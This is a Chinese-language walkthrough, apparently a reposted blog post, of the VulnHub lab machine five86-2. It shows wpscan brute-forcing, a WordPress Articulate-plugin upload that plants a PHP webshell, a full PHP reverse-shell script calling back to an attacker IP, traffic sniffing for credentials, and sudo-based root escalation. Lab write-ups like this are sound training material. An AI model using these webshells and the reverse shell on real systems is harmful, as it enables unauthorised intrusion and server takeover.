0


vulnhub five86-2

总结:sudo -l,抓流量包,搜索引擎。。


下载地址

使用:下载以后打开压缩包,使用vm直接打开ova文件


漏洞分析

信息收集

1.给靶机设置一个快照

2.fping -agq 192.168.31.0/24 使用fping快速扫描该网段中存活的机子

3.将靶机关闭重新扫描一下,对比少的那个ip就是靶机的ip

4.使用快照快速将靶机恢复

注:ip段要看自己的

这里通过nmap扫出来有20,21端口,这里先看看80端口扫出来的东西。

但是进去发现不好用,就只剩下一个框架了,怎么点都不行,这里去hosts把靶机添加进去

windows:C:\Windows\System32\drivers\etc\hosts

linux:/etc/hosts

再次访问网页就正常了

这里通过插件就可以知道他的cms框架的版本,当然我们通过nmap也可以知道。

nmap使用-A综合扫描,我们同样可以知道他cms的版本号。

这里使用dirsearch扫一下直接就扫到后台了,这里我们使用wpscan去爆破爆破用户名。

这里加上-e u就可以使用了,-e是一种简化的写法,正常是--enumerate u

然后利用cewl生成密码。

  1. wpscan --url http://192.168.31.122/ -e u
  2. echo "barney\nadmin\ngillian\npeter\nstephen" > user.txt
  3. cewl http://192.168.31.122 > pass.txt

  1. wpscan --url http://192.168.31.122 -U user.txt -P pass.txt

这里跑一下没有跑出来,怀疑是密码文件的问题,这里使用kail自带的rockyou.txt,这是一家公司泄露出来还是很全的,这是一个gz压缩文件需要自己解压。

  1. gunzip /usr/share/wordlists/rockyou.txt.gz
  2. wpscan --url http://192.168.31.122 -U user.txt -P /usr/share/wordlists/rockyou.txt

但是感觉跑的还是挺慢的。

这里可算是跑出来了两个。

barney:spooky1
stephen:apollo1

网站渗透

这里登录进去就叫我更新,呵呵呵,这里刚进来就有插件的一直有点,强迫症受不了,但是突然想到以前wordpress之前爆出来了不少野洞,这里找到一个感觉可以利用的

WordPress Plugin Insert or Embed Articulate Content into WordPress - Remote Code Execution - PHP webapps Exploit

有这个插件,而且wordpress版本也是十分接近的,下面有步骤,这里我们尝试尝试。

注意kali中$_POST前面要加一个\需要转移$

  1. echo "<html>hello</html>" > index.html
  2. echo "<?php echo system(\$_POST['cmd']); ?>" > index.php
  3. zip poc.zip index.html index.php

第二步是让我们登录,这里我们已经登录进去了。

注意下面上传以后要点一下upload!

搞完了别忘了连续点两下publish,然后再点一下那个view post

然后就会跳到这里,但是这里我们上传的东西在

靶机ip/wp-content/uploads/articulate_uploads/压缩包名/压缩文件

这里之后出来点问题,就是说马写错了,咳咳咳,这里还是建议用正常的。

  1. echo "<?php eval(\$_POST['cmd']); ?>" > index.php

用post马是为了,方便我们直接连接蚁剑

这里测试一下没有问题。

反弹shell+提权

喵的,这里用蚁剑尝试了各种反弹shell的命令都没有用。。。

但是别忘了,这个网页是可以触发php文件,这里搞一个反弹shell的php文件。

这里截图有点问题。。。这里新建一个1.php,然后修改里面的内容为下面,自己的ip和要反弹的端口再最下面那里。

  1. <?php
  2. // Copyright (c) 2020 Ivan Sincek
  3. // v2.3
  4. // Requires PHP v5.0.0 or greater.
  5. // Works on Linux OS, macOS, and Windows OS.
  6. // See the original script at https://github.com/pentestmonkey/php-reverse-shell.
  7. class Shell {
  8. private $addr = null;
  9. private $port = null;
  10. private $os = null;
  11. private $shell = null;
  12. private $descriptorspec = array(
  13. 0 => array('pipe', 'r'), // shell can read from STDIN
  14. 1 => array('pipe', 'w'), // shell can write to STDOUT
  15. 2 => array('pipe', 'w') // shell can write to STDERR
  16. );
  17. private $buffer = 1024; // read/write buffer size
  18. private $clen = 0; // command length
  19. private $error = false; // stream read/write error
  20. public function __construct($addr, $port) {
  21. $this->addr = $addr;
  22. $this->port = $port;
  23. }
  24. private function detect() {
  25. $detected = true;
  26. if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
  27. $this->os = 'LINUX';
  28. $this->shell = '/bin/sh';
  29. } else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
  30. $this->os = 'WINDOWS';
  31. $this->shell = 'cmd.exe';
  32. } else {
  33. $detected = false;
  34. echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
  35. }
  36. return $detected;
  37. }
  38. private function daemonize() {
  39. $exit = false;
  40. if (!function_exists('pcntl_fork')) {
  41. echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
  42. } else if (($pid = @pcntl_fork()) < 0) {
  43. echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
  44. } else if ($pid > 0) {
  45. $exit = true;
  46. echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
  47. } else if (posix_setsid() < 0) {
  48. // once daemonized you will actually no longer see the script's dump
  49. echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
  50. } else {
  51. echo "DAEMONIZE: Completed successfully!\n";
  52. }
  53. return $exit;
  54. }
  55. private function settings() {
  56. @error_reporting(0);
  57. @set_time_limit(0); // do not impose the script execution time limit
  58. @umask(0); // set the file/directory permissions - 666 for files and 777 for directories
  59. }
  60. private function dump($data) {
  61. $data = str_replace('<', '&lt;', $data);
  62. $data = str_replace('>', '&gt;', $data);
  63. echo $data;
  64. }
  65. private function read($stream, $name, $buffer) {
  66. if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
  67. $this->error = true; // set global error flag
  68. echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
  69. }
  70. return $data;
  71. }
  72. private function write($stream, $name, $data) {
  73. if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
  74. $this->error = true; // set global error flag
  75. echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
  76. }
  77. return $bytes;
  78. }
  79. // read/write method for non-blocking streams
  80. private function rw($input, $output, $iname, $oname) {
  81. while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
  82. if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
  83. $this->dump($data); // script's dump
  84. }
  85. }
  86. // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
  87. // we must read the exact byte length from a stream and not a single byte more
  88. private function brw($input, $output, $iname, $oname) {
  89. $fstat = fstat($input);
  90. $size = $fstat['size'];
  91. if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
  92. // for some reason Windows OS pipes STDIN into STDOUT
  93. // we do not like that
  94. // we need to discard the data from the stream
  95. while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
  96. $this->clen -= $bytes;
  97. $size -= $bytes;
  98. }
  99. }
  100. while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
  101. $size -= $bytes;
  102. $this->dump($data); // script's dump
  103. }
  104. }
  105. public function run() {
  106. if ($this->detect() && !$this->daemonize()) {
  107. $this->settings();
  108. // ----- SOCKET BEGIN -----
  109. $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
  110. if (!$socket) {
  111. echo "SOC_ERROR: {$errno}: {$errstr}\n";
  112. } else {
  113. stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
  114. // ----- SHELL BEGIN -----
  115. $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
  116. if (!$process) {
  117. echo "PROC_ERROR: Cannot start the shell\n";
  118. } else {
  119. foreach ($pipes as $pipe) {
  120. stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
  121. }
  122. // ----- WORK BEGIN -----
  123. $status = proc_get_status($process);
  124. @fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
  125. do {
  126. $status = proc_get_status($process);
  127. if (feof($socket)) { // check for end-of-file on SOCKET
  128. echo "SOC_ERROR: Shell connection has been terminated\n"; break;
  129. } else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still running
  130. echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams
  131. } // use proc_get_status() instead
  132. $streams = array(
  133. 'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
  134. 'write' => null,
  135. 'except' => null
  136. );
  137. $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
  138. if ($num_changed_streams === false) {
  139. echo "STRM_ERROR: stream_select() failed\n"; break;
  140. } else if ($num_changed_streams > 0) {
  141. if ($this->os === 'LINUX') {
  142. if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
  143. if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
  144. if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
  145. } else if ($this->os === 'WINDOWS') {
  146. // order is important
  147. if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
  148. if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
  149. if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
  150. }
  151. }
  152. } while (!$this->error);
  153. // ------ WORK END ------
  154. foreach ($pipes as $pipe) {
  155. fclose($pipe);
  156. }
  157. proc_close($process);
  158. }
  159. // ------ SHELL END ------
  160. fclose($socket);
  161. }
  162. // ------ SOCKET END ------
  163. }
  164. }
  165. }
  166. echo '<pre>';
  167. // change the host address and/or port number as necessary
  168. $sh = new Shell('192.168.31.199', 333);
  169. $sh->run();
  170. unset($sh);
  171. // garbage collector requires PHP v5.3.0 or greater
  172. // @gc_collect_cycles();
  173. echo '</pre>';
  174. ?>

这里访问一下,嗯有戏了

果然这里直接反弹shell回来了

在查看密码文件的时候发现了一个熟悉的用户

这里先去stephen看看。

原本想内核提权,奈何连gcc都没有。

然后就不会了,然后这里参考 别人的wp

我是真没想到id命令中的pcap原来也是提示

首先使用tcpdump -D查看我们要拦截的流量

timeout 120 tcpdump -w 1.pcap -i veth1df93bc

这里拦截两分钟的,到1.pcap中使用tcpdump -r读取

在眼睛都快瞎了的时候,终于找到了账号和密码,这里登入一下。

paul:esomepasswford

sudo有提权命令,但是也是指定了用户

这里看到直接就进来了。

没想到还有惊喜,passwd就不用查了,这里用脚都知道怎么搞的

sudo passwd root

直接改了root的密码

标签: 安全 php 服务器

本文转载自: https://blog.csdn.net/m0_64815693/article/details/129357286
版权归原作者 练习两年半的篮球选..哦不对安全选手 所有, 如有侵权,请联系我们删除。

“vulnhub five86-2”的评论:

还没有评论